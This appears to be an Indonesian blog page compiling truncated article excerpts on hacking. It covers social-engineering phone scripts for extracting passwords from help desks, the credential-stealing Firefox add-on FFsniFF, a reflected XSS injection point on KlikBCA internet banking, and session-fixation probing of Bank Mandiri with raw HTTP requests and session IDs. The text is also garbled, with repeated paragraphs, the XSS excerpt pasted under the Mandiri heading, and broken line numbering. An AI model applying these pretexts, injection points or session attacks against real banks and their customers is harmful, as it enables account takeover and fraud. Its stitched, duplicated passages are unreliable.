Seluk Beluk Teknik Social Engineering
Prof. Richardus Eko Indrajit
Prof. Richardus Eko Indrajit
Ada
prinsip dalam dunia keamanan jaringan yang berbunyi “kekuatan
sebuah rantai tergantung dari atau terletak pada sambungan yang
terlemah” atau dalam bahasa asingnya “the strength of a chain depends on
the weakest link”. Apa atau siapakah “the weakest link” atau “komponen
terlemah” dalam sebuah sistem jaringan komputer? Ternyata jawabannya
adalah: manusia. Walaupun sebuah sistem telah dilindungi dengan piranti
keras dan piranti lunak canggih penangkal serangan seperti firewalls,
anti virus, I D S/IPS, dan lain sebagainya
– tetapi jika manusia yang mengoperasikannya lalai, maka keseluruhan peralatan itu tidaklah ada artinya. Para kriminal dunia maya paham betul akan hal ini sehingga kemudian mereka mulai menggunakan suatu kiat tertentu yang dinamakan sebagai “social engineering” untuk mendapatkan informasi penting dan krusial yang disimpan secara rahasia oleh manusia.
– tetapi jika manusia yang mengoperasikannya lalai, maka keseluruhan peralatan itu tidaklah ada artinya. Para kriminal dunia maya paham betul akan hal ini sehingga kemudian mereka mulai menggunakan suatu kiat tertentu yang dinamakan sebagai “social engineering” untuk mendapatkan informasi penting dan krusial yang disimpan secara rahasia oleh manusia.
Kelemahan Manusia
Menurut definisi, “social engineering” adalah suatu teknik ‘pencurian’ atau pengambilan data atau informasi penting/krusial/rahasia dari seseorang dengan cara menggunakan pendekatan manusiawi melalui mekanisme interaksi sosial. Atau dengan kata lain social engineering adalah suatu teknik memperoleh data/informasi rahasia dengan cara mengeksploitasi kelemahan manusia. Contohnya kelemahan manusia yang dimaksud misalnya:
- Rasa Takut – jika seorang pegawai atau karyawan dimintai data atau informasi dari atasannya, polisi, atau penegak hukum yang lain, biasanya yang bersangkutan akan langsung memberikan tanpa merasa sungkan;
- Rasa Percaya – jika seorang individu dimintai data atau informasi dari teman baik, rekan sejawat, sanak saudara, atau sekretaris, biasanya yang bersangkutan akan langsung memberikannya tanpa harus merasa curiga; dan
- Rasa Ingin Menolong – jika seseorang dimintai data atau informasi dari orang yang sedang tertimpa musibah, dalam kesedihan yang mendalam, menjadi korban bencana, atau berada dalam duka, biasanya yang bersangkutan akan langsung memberikan data atau informasi yang diinginkan tanpa bertanya lebih dahulu.
Pada dasarnya teknik social engineering dapat dibagi menjadi dua jenis, yaitu: berbasis interaksi sosial dan berbasis interaksi komputer. Berikut adalah sejumlah teknik social engineering yang biasa dipergunakan oleh kriminal, musuh, penjahat, penipu, atau mereka yang memiliki intensi tidak baik. Dalam skenario ini yang menjadi sasaran penipuan adalah individu yang bekerja di divisi teknologi informasi perusahaan. Modus operandinya sama, yaitu melalui medium telepon.
Skenario 1 (Kedok sebagai User Penting)
Seorang penipu menelpon help desk bagian divisi teknologi informasi dan mengatakan hal sebagai berikut “Halo, di sini pak Abraham, Direktur Keuangan. Saya mau log in tapi lupa
password saya. Boleh tolong beritahu sekarang agar saya dapat segera bekerja?”. Karena takut – dan merasa sedikit tersanjung karena untuk pertama kalinya dapat berbicara dan mendengar suara Direktur Keuangan perusahaannya – yang bersangkutan langsung memberikan password yang dimaksud tanpa rasa curiga sedikitpun. Si penipu bisa tahu nama Direktur Keuangannya adalah Abraham karena melihat dari situs perusahaan.
Skenario 2 (Kedok sebagai User yang Sah)
Dengan mengaku sebagai rekan kerja dari departemen yang berbeda, seorang wanita menelepon staf junior teknologi informasi sambil berkata “Halo, ini Iwan ya? Wan, ini Septi dari Divisi Marketing, dulu kita satu grup waktu outing kantor di Cisarua. Bisa tolong bantu reset password-ku tidak? Dirubah saja menjadi tanggal lahirku. Aku takut ada orang yang tahu passwordku, sementara saat ini aku di luar kantor dan tidak bisa merubahnya. Bisa bantu ya?”. Sang junior yang tahu persis setahun yang lalu merasa berjumpa Septi dalam acara kantor langsung melakukan yang diminta rekan sekerjanya tersebut tanpa melakukan cek dan ricek. Sementara kriminal yang mengaku sebagai Septi mengetahui nama-nama terkait dari majalah dinding “Aktivitas” yang dipajang di lobby perusahaan – dan nomor telepon Iwan diketahuinya dari Satpam dan/atau receptionist.
Baca Selengkapnnya >>>>>>
=======================================================================
Menjaring Password dengan Firefox Sniffer
Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.
Dalam artikel ini akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.
Sekilas tentang addon Firefox
Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.
Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:
1 exampleExt.xpi:Baca Selengkapnnya >>>>>>>
2 /install.rdf
3 /components/*
4 /components/cmdline.js
5 /defaults/
6 /defaults/preferences/*.js
7 /plugins/*
8 /chrome.manifest
9 /chrome/icons/default/*
10 /chrome/
11 /chrome/content/
=====================================================================
Menjaring Password KlikBCA dengan XSS
expertadvisor.blogspot.com akan memberikan contoh exploit yang cukup berbahaya
Sebenarnya
XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug
yang paling sering diremehkan. Karena berbeda dengan bug lain seperti
SQL Injection yang menyerang server, bug ini tidak berpengaruh sama
sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web
application.
Mungkin
mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan
XSS? Memang tidak secara langsung, namun ingat satu bug bisa
di-exploit dengan 1001 macam cara yang semakin lama semakin efektif.
Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa
diexploit sedemikian rupa.
The Vulnerability
xss bug
Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.
URL ketika password kita salah adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)
URL tersebut akan menghasilkan source html sebagai berikut:
<script>
var err='User ID harus Alpha Numerik/User ID must be Alpha Numeric'
alert(err); iBankForm.action='login.jsp'; iBankForm.submit();
</script>
Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:
Baca Selengkapnnya >>>>>>
========================================================================
Session ID Bank Mandiri Internet Banking
Untuk memastikan apakah internet banking mandiri bisa diserang dengan session fixation, saya akan coba memasukkan query string JSESSIONID berisi string yang saya pilih sendiri. Saya coba dengan query string JSESSIONID=01234567890. Berikut adalah request dan response yang terjadi.
Fixate sessionid yang dibangkitkan server dengan query string
Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.
URL ketika password kita salah adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)
URL tersebut akan menghasilkan source html sebagai berikut:
<script>
var err='User ID harus Alpha Numerik/User ID must be Alpha Numeric'
alert(err); iBankForm.action='login.jsp'; iBankForm.submit();
</script>
Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:
Baca Selengkapnnya >>>>>>
========================================================================
Hacking Mandiri Internet Banking
Dalam
artikel ini saya akan menggunakan jurus session fixation untuk membajak
session internet banking Mandiri yang merupakan bank terbesar di tanah
air. Detil mengenai session fixation attack bisa dibaca di artikel saya
sebelumnya yang berjudul mengenal session fixation attack.
Session ID Bank Mandiri Internet Banking
Internet
banking mandiri menggunakan sessionid yang disimpan dalam cookie dengan
nama JSESSIONID. Sessionid ini sangat panjang dan acak, jadi tidak
mungkin memakai jurus prediction untuk mendapatkan sessionid. Contoh
sessionid bank mandiri adalah:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!5684546Fixate sessionid yang dipilih sendiri dengan query string
85!-1062708981!7668!7002
Untuk memastikan apakah internet banking mandiri bisa diserang dengan session fixation, saya akan coba memasukkan query string JSESSIONID berisi string yang saya pilih sendiri. Saya coba dengan query string JSESSIONID=01234567890. Berikut adalah request dan response yang terjadi.
1 https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=0
2 1234567890
3
4 GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1
5 Host: ib.bankmandiri.co.id
6 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5)
7 Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
8 Accept:
9 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
1 Accept-Language: id,en-us;q=0.7,en;q=0.3
0 Accept-Encoding: gzip,deflate
1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
1 Keep-Alive: 300
1 Connection: keep-alive
2
1 HTTP/1.x 200 OK
3 Date: Mon, 02 Feb 2009 23:28:58 GMT
1 Pragma: no-cache
4 Content-Encoding: gzip
1 Content-Length: 3822
5 Content-Type: text/html
1 Expires: -1
6 Transfer-Encoding: Chunked
1 Set-Cookie:
7 JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!56845
1 4685!-1062708981!7668!7002; path=/
8 Cache-Control: no-cache
1
9
2
0
2
1
2
2
Ternyata
usulan ditolak mentah-mentah oleh server, hal ini terlihat dari
responsenya yang memberikan sessionid dalam bentuk cookie pada baris
ke-21. Dari response tersebut juga bisa diambil kesimpulan bahwa server
bank mandiri lebih suka memakai cookie sehingga bila ada client yang
memberikan sessionid dalam query string, dibalas dengan header
Set-Cookie. Ini pertanda bagus karena cookie yang diberikan pada korban
akan memudahkan serangan saya.
Fixate sessionid yang dibangkitkan server dengan query string
Oke,
setelah gagal mengusulkan sessionid sembarangan dengan query string.
Saya akan coba lagi dengan sessionid yang dibangkitkan server. Untuk itu
sebelumnya saya harus meminta server memberikan sessionid. Dalam contoh
ini saya akan gunakan sessionid yang sudah saya minta sebelumnya,
yaitu:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!5684546Sessionid ini akan di kirimkan dalam request dalam bentuk query string. Sebelumnya cookie yang ada harus dihapus karena cookie memiliki prioritas lebih dibanding query string dalam hal sessionid. Berikut request dan response yang terjadi.
85!-1062708981!7668!7002
Komentar
Posting Komentar